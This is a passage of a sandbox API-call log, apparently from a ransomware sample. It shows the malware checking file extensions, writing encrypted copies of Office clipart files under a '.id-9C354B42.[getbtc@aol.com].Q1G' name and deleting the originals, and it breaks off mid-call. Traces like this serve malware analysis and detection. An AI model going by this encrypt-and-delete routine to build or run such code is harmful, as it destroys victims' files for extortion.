(lpString1=".jpg", lpString2=".WMF") returned -1 [0056.879] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0056.879] lstrlenW (lpString="AN04134_.WMF") returned 12 [0056.879] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0056.879] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=3416) returned 1 [0056.879] CloseHandle (hObject=0x214) returned 1 [0056.879] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf")) returned 0x20 [0056.879] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0056.879] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0056.880] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.880] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.880] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0056.880] GetLastError () returned 0x0 [0056.880] ReadFile (in: hFile=0x214, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0xd58, lpOverlapped=0x0) returned 1 [0056.881] WriteFile (in: hFile=0x190, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xd60, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xd60, lpOverlapped=0x0) returned 1 [0056.882] ReadFile (in: hFile=0x214, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0056.882] WriteFile (in: hFile=0x190, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0056.882] SetEndOfFile (hFile=0x190) returned 1 [0056.882] CloseHandle (hObject=0x190) returned 1 [0056.882] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.882] SetEndOfFile (hFile=0x214) returned 1 [0056.883] CloseHandle (hObject=0x214) returned 1 [0056.883] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0056.883] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf")) returned 1 [0056.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0056.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0056.884] lstrlenW (lpString=".doc") returned 4 [0056.884] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0056.884] lstrlenW (lpString=".docx") returned 5 [0056.884] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0056.884] lstrlenW (lpString=".pdf") returned 4 [0056.884] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0056.884] lstrlenW (lpString=".xls") returned 4 [0056.884] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0056.884] lstrlenW (lpString=".xlsx") returned 5 [0056.884] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0056.884] lstrlenW (lpString=".ppt") returned 4 [0056.884] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0056.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0056.884] lstrlenW (lpString=".zip") returned 4 [0056.884] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0056.884] lstrlenW (lpString=".rar") returned 4 [0056.884] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0056.884] lstrlenW (lpString=".bz2") returned 4 [0056.884] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0056.884] lstrlenW (lpString=".7z") returned 3 [0056.884] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0056.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0056.884] lstrlenW (lpString=".dbf") returned 4 [0056.884] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0056.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0056.884] lstrlenW (lpString=".1cd") returned 4 [0056.884] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0056.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0056.884] lstrlenW (lpString=".jpg") returned 4 [0056.884] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0056.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0056.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0056.885] lstrlenW (lpString=".doc") returned 4 [0056.885] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0056.885] lstrlenW (lpString=".docx") returned 5 [0056.885] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0056.885] lstrlenW (lpString=".pdf") returned 4 [0056.885] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0056.885] lstrlenW (lpString=".xls") returned 4 [0056.885] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0056.885] lstrlenW (lpString=".xlsx") returned 5 [0056.885] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0056.885] lstrlenW (lpString=".ppt") returned 4 [0056.885] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0056.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0056.885] lstrlenW (lpString=".zip") returned 4 [0056.885] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0056.885] lstrlenW (lpString=".rar") returned 4 [0056.885] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0056.885] lstrlenW (lpString=".bz2") returned 4 [0056.885] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0056.885] lstrlenW (lpString=".7z") returned 3 [0056.885] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0056.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0056.885] lstrlenW (lpString=".dbf") returned 4 [0056.885] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0056.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0056.885] lstrlenW (lpString=".1cd") returned 4 [0056.885] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0056.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0056.885] lstrlenW (lpString=".jpg") returned 4 [0056.885] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0056.886] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0056.886] lstrlenW (lpString="AN04174_.WMF") returned 12 [0056.886] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0056.888] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=2636) returned 1 [0056.888] CloseHandle (hObject=0x214) returned 1 [0056.888] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf")) returned 0x20 [0056.888] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0056.888] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0056.888] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.888] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.888] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0056.888] GetLastError () returned 0x0 [0056.888] ReadFile (in: hFile=0x214, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0xa4c, lpOverlapped=0x0) returned 1 [0056.890] WriteFile (in: hFile=0x190, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xa50, lpOverlapped=0x0) returned 1 [0056.891] ReadFile (in: hFile=0x214, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0056.891] WriteFile (in: hFile=0x190, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0056.891] SetEndOfFile (hFile=0x190) returned 1 [0056.891] CloseHandle (hObject=0x190) returned 1 [0056.891] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.891] SetEndOfFile (hFile=0x214) returned 1 [0056.892] CloseHandle (hObject=0x214) returned 1 [0056.892] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0056.892] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf")) returned 1 [0056.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0056.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0056.892] lstrlenW (lpString=".doc") returned 4 [0056.892] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0056.892] lstrlenW (lpString=".docx") returned 5 [0056.892] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0056.892] lstrlenW (lpString=".pdf") returned 4 [0056.893] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0056.893] lstrlenW (lpString=".xls") returned 4 [0056.893] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0056.893] lstrlenW (lpString=".xlsx") returned 5 [0056.893] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0056.893] lstrlenW (lpString=".ppt") returned 4 [0056.893] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0056.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0056.893] lstrlenW (lpString=".zip") returned 4 [0056.893] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0056.893] lstrlenW (lpString=".rar") returned 4 [0056.893] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0056.893] lstrlenW (lpString=".bz2") returned 4 [0056.893] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0056.893] lstrlenW (lpString=".7z") returned 3 [0056.893] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0056.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0056.893] lstrlenW (lpString=".dbf") returned 4 [0056.893] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0056.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0056.893] lstrlenW (lpString=".1cd") returned 4 [0056.893] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0056.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0056.893] lstrlenW (lpString=".jpg") returned 4 [0056.893] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0056.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0056.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0056.893] lstrlenW (lpString=".doc") returned 4 [0056.893] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0056.893] lstrlenW (lpString=".docx") returned 5 [0056.893] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0056.893] lstrlenW (lpString=".pdf") returned 4 [0056.893] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0056.893] lstrlenW (lpString=".xls") returned 4 [0056.893] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0056.894] lstrlenW (lpString=".xlsx") returned 5 [0056.894] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0056.894] lstrlenW (lpString=".ppt") returned 4 [0056.894] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0056.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0056.894] lstrlenW (lpString=".zip") returned 4 [0056.894] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0056.894] lstrlenW (lpString=".rar") returned 4 [0056.894] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0056.894] lstrlenW (lpString=".bz2") returned 4 [0056.894] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0056.894] lstrlenW (lpString=".7z") returned 3 [0056.894] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0056.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0056.894] lstrlenW (lpString=".dbf") returned 4 [0056.894] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0056.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0056.894] lstrlenW (lpString=".1cd") returned 4 [0056.894] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0056.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0056.894] lstrlenW (lpString=".jpg") returned 4 [0056.894] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0056.894] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0056.894] lstrlenW (lpString="AN04191_.WMF") returned 12 [0056.894] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0056.895] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=6636) returned 1 [0056.895] CloseHandle (hObject=0x214) returned 1 [0056.895] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf")) returned 0x20 [0056.895] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0056.895] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0056.895] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.895] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.895] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0056.895] GetLastError () returned 0x0 [0056.895] ReadFile (in: hFile=0x214, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x19ec, lpOverlapped=0x0) returned 1 [0056.897] WriteFile (in: hFile=0x190, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x19f0, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x19f0, lpOverlapped=0x0) returned 1 [0056.897] ReadFile (in: hFile=0x214, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0056.897] WriteFile (in: hFile=0x190, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0056.898] SetEndOfFile (hFile=0x190) returned 1 [0056.898] CloseHandle (hObject=0x190) returned 1 [0056.898] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.898] SetEndOfFile (hFile=0x214) returned 1 [0056.899] CloseHandle (hObject=0x214) returned 1 [0056.899] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0056.899] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf")) returned 1 [0056.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0056.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0056.899] lstrlenW (lpString=".doc") returned 4 [0056.899] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0056.899] lstrlenW (lpString=".docx") returned 5 [0056.899] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0056.899] lstrlenW (lpString=".pdf") returned 4 [0056.899] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0056.899] lstrlenW (lpString=".xls") returned 4 [0056.899] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0056.899] lstrlenW (lpString=".xlsx") returned 5 [0056.899] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0056.899] lstrlenW (lpString=".ppt") returned 4 [0056.899] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0056.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0056.899] lstrlenW (lpString=".zip") returned 4 [0056.899] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0056.900] lstrlenW (lpString=".rar") returned 4 [0056.900] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0056.900] lstrlenW (lpString=".bz2") returned 4 [0056.900] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0056.900] lstrlenW (lpString=".7z") returned 3 [0056.900] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0056.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0056.900] lstrlenW (lpString=".dbf") returned 4 [0056.900] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0056.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0056.900] lstrlenW (lpString=".1cd") returned 4 [0056.900] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0056.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0056.900] lstrlenW (lpString=".jpg") returned 4 [0056.900] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0056.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0056.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0056.900] lstrlenW (lpString=".doc") returned 4 [0056.900] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0056.900] lstrlenW (lpString=".docx") returned 5 [0056.900] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0056.900] lstrlenW (lpString=".pdf") returned 4 [0056.900] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0056.900] lstrlenW (lpString=".xls") returned 4 [0056.900] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0056.900] lstrlenW (lpString=".xlsx") returned 5 [0056.900] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0056.900] lstrlenW (lpString=".ppt") returned 4 [0056.900] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0056.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0056.900] lstrlenW (lpString=".zip") returned 4 [0056.900] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0056.900] lstrlenW (lpString=".rar") returned 4 [0056.900] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0056.900] lstrlenW (lpString=".bz2") returned 4 [0056.901] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0056.901] lstrlenW (lpString=".7z") returned 3 [0056.901] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0056.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0056.901] lstrlenW (lpString=".dbf") returned 4 [0056.901] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0056.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0056.901] lstrlenW (lpString=".1cd") returned 4 [0056.901] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0056.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0056.901] lstrlenW (lpString=".jpg") returned 4 [0056.901] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0056.901] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0056.901] lstrlenW (lpString="AN04195_.WMF") returned 12 [0056.901] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0056.901] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=4612) returned 1 [0056.901] CloseHandle (hObject=0x214) returned 1 [0056.901] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 